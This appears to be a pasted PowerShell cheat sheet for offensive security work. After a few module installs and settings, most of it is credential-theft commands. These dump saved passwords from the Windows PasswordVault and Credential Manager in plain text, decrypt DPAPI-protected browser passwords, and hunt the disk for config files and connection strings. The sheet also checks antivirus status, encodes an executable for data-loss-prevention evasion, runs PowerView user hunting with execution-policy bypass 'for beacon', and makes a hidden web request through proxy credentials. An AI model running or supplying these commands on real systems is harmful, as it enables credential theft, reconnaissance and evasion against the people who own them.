opexxx icon

Powershell4infosec.txt

opexxx | PRO | 02/24/21 03:52:10 PM UTC (Edited) | 0 ⭐ | 803 👁️ | Never ⏰ | []
PowerShell |

3.18 KB

|

None

|

0 👍

/

0 👎

# Install module
Install-Module AADInternals
Install-Module -Name CredentialManager 
Install-Module -Name BetterCredentials
 
# Import the module
Import-Module AADInternals
 
 
Install-Module -Name AzureAD
Install-Module MSOnline
 
Install-Module PSReadline -AllowPrerelease 
Install-Module -Name Az.Tools.Predictor
import-module Az.Tools.Predictor
Set-PSReadLineOption -PredictionSource HistoryAndPlugin
Set-PSReadLineOption -PredictionViewStyle ListView
 
#####
Get-ADObject -Filter * -SearchBase "CN=Sites,CN=Configuration,DC=domain,DC=com" -SearchScope OneLevel | % { "Site Name: $($.Name)",((Get-Acl "AD:\$").Access | select IdentityReference,ActiveDirectoryRights | fl) }
######
 
 
 
 
# Content: Receive Credentials from IE & Edge
[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime]
$vault = New-Object Windows.Security.Credentials.PasswordVault
$vault.RetrieveAll() | % { $_.RetrievePassword();$_ } | select username,resource,password
 
[Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];(New-Object Windows.Security.Credentials.PasswordVault).RetrieveAll() | % { $_.RetrievePassword();$_ }
 
Get-StoredCredential | % { write-host -NoNewLine $_.username; write-host -NoNewLine ":" ; $p = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($_.password) ; [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($p); }
 
Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct | ForEach-Object {if($($_.displayName) -eq "Windows Defender"){if("$($([Convert]::ToString($($_.productState), 16)).PadLeft(6,""0""))".Substring(2,1) -eq "1"){Write-Host "Windows Defender is Enabled"}else{Write-Host "Windows Defender is Disabled"}}}
 
gci c:\ -Include *.config,*.conf,*.xml -File -Recurse -EA SilentlyContinue | Select-String -Pattern "connectionString"
 
gci c:\ -Include web.config,applicationHost.config,php.ini,httpd.conf,httpd-xampp.conf,my.ini,my.cnf -File -Recurse -EA SilentlyContinue
 
[System.Text.Encoding]::UTF8.GetString([System.Security.Cryptography.ProtectedData]::Unprotect($datarow.password_value,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser))
 
 
 
 
 
###DLP
[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Temp\file.exe")) | Out-File -Encoding ASCII C:\Temp\file.txt
 
 
 
 
 
PowerVeiw and output localy to disk for beacon:
  powershell -no -exec bypass -command "& {Import-Module .\PowerView.ps1; Invoke-UserHunter USRNAME | Out-File -Encoding Ascii USERNAME.txt}"
 
Powerview UserHunting Search by keyword:
  powershell Get-NetUser -Filter "(description=*medical*)" | Select-Object -Prop samaccountname.description,title
  powershell Get-NetUser -Filter "(title=*medical*)" | Select-Object -Prop samaccountname.description,title
  
Simple Web request:
  powershell.exe -w hidden -command $wc = New-Object System.Net.Webclient; $wc.Headers.Add('User-Agent','Mozilla/5.0 (Windows NT 6.1; WOW64;Trident/7.0; AS; rv:11.0) Like Gecko'); $wc.proxy= [System.Net.WebRequest]::DefaultWebProxy; $wc.proxy.credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials; $wc.downloadstring('http://google.com/')
 
 
 
 
 
 
 
 
 
 

Comments